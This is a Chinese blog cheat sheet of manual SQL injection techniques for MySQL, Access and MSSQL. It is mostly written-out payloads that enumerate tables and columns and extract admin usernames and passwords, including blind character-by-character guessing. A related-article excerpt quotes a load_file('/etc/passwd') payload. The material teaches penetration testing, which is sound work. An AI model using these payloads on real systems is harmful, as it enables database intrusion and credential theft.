SQL手工注入技巧
MYSQL篇
1.内置函数和变量
@@datadir,version(),database(),user(),load_file(),outfile()
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user
3.使用内建数据库查询表段和字段
查表段:
xxx.php?id=1 and 1=2 union select 1,2,table_name from
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–
查字段:
xxx.php?id=1 and 1=2 union select 1,2,column_name from
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–
这里可以再结合下concat的拼接功能
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20)
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]
Access篇
猜表名
*.asp?id=1 and exists (select * from admin)
猜列名
*.asp?id=1 and exists (select password from admin)
Order by查询
*.asp?id=1 order by 3
union 查询
*.asp?id=1 union select 1,password,3 from admin
不支持union的情况
先判断内容的长度
*.asp?id=132 and (select top 1 len(user) from admin) >5
然后一个一个猜
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
'and exists (select * from sysobjects) --
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
'and exists(select * from admin)--
如果存在,会返回正常页面,否则报错,就是不存在。
SQL手工注入技巧的更多相关文章
- SQL手工注入基础篇
0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...
- SQL手工注入进阶篇
0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
- (后端)sql手工注入语句&SQL手工注入大全(转)
转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
随机推荐
- 【机器学习实践】Jupyter Notebook安装 侧边导航栏功能 操作及其他常用扩展功能介绍
安装过程: 1. 首先我们引入jupyter_contrib_nbextension这个第三方库. 2. 在Anaconda Promot中输入命令: pip install jupyter_con ...
- eclipse 建立 web fragment project 工程
1.鼠标右键---------new ---------Other 2.选择WEB----web fragment project 3.输入工程名,点finish
- Vue 项目结构介绍
Vue 项目创建完成后,使用 Web Storm 打开项目,项目目录如下: build 文件夹,用来存放项目构建脚本 config 中存放项目的一些基本配置信息,最常用的就是端口转发 node_mod ...
- ucloud相关
ucloud申请证书 https://docs.ucloud.cn/domain/ussl/operate/buy 云主机: https://docs.ucloud.cn/compute/uhost/ ...
- 【pytorch】学习笔记(三)-激励函数
[pytorch]学习笔记-激励函数 学习自:莫烦python 什么是激励函数 一句话概括 Activation: 就是让神经网络可以描述非线性问题的步骤, 是神经网络变得更强大 1.激活函数是用来加 ...
- Android渐变色xml配置
这里渐变色: <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android=&quo ...
- Laravel-admin form 表单是增加或者修改
Laravel-admin 实现 form 表单是增加或者修改的三种方法,应用情景:1.新增或者修改 form 展示的表单不同:2.新增或者保存前后回调进行其他的操作 1. use Illuminat ...
- python computer info look
计算机信息查看-. import platform import platform def TestPlatform(): print("---------SYSTEM INFO------ ...
- Django基础之jQuery操作
Django基础之jQuery操作 jquery之cookie操作 定义:让网站服务器把少量数据储存到客户端的硬盘或内存,从客户端的硬盘读取数据的一种技术: 下载与引入:jquery.cookie.j ...
- ssh连接远程服务器出现Host key验证失败的解决方案
原因可能是云服务器重装过,解决方法是找到提示的know_hosts文件,将报错的那一行的秘钥删掉即可.